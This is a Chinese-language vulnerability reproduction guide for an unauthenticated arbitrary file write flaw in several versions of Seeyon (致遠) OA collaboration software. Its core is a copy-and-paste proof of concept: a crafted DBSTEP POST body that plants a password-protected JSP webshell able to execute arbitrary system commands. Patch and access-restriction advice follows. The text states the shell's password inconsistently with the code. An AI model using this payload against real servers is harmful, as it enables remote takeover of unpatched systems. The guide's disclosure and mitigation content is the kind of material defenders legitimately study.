漏洞描述
致遠 OA 系統的一些版本存在任意文件寫入漏洞,遠程攻擊者在無需登錄的情況下可通過向 URL /seeyon/htmlofficeservlet POST 精心構造的數據即可向目標服務器寫入任意文件,寫入成功后可執行任意系統命令進而控制目標服務器。
漏洞范圍
致遠 A8-V5 協同管理軟件 V6.1sp1
致遠 A8+ 協同管理軟件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致遠 A8+ 協同管理軟件 V7.1
漏洞復現過程
-
網站地址:http://127.0.0.1:8888/seeyon/(涉及敏感信息,用本機ip代替)
-
驗證是否存在漏洞,訪問/seeyon/htmlofficeservlet路徑,出現DBSTEP V3.0 0 21 0 htmoffice operate err
哪就證明可能漏洞是存在的。 -
打開bp開始抓包,將包改為post請求方式,並且刪除cookie字段的loginpageurl值。沒有cookie值的自己把cookie值加上去。(在瀏覽器網絡請求中可以找到cookie值)。
-
將下面的poc復制到包中,並且發送。
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
成功插入jsp木馬,默認文件名是test123456,木馬密碼是asasd3344。
修復建議
-
聯系致遠官方獲取補丁: http://www.seeyon.com/info/company.html
-
緩解措施:可在不影響系統正常使用的情況下,部署在公網的服務器限制外網對 /seeyon/htmlofficeservlet 路徑的訪問或關閉網站對外訪問。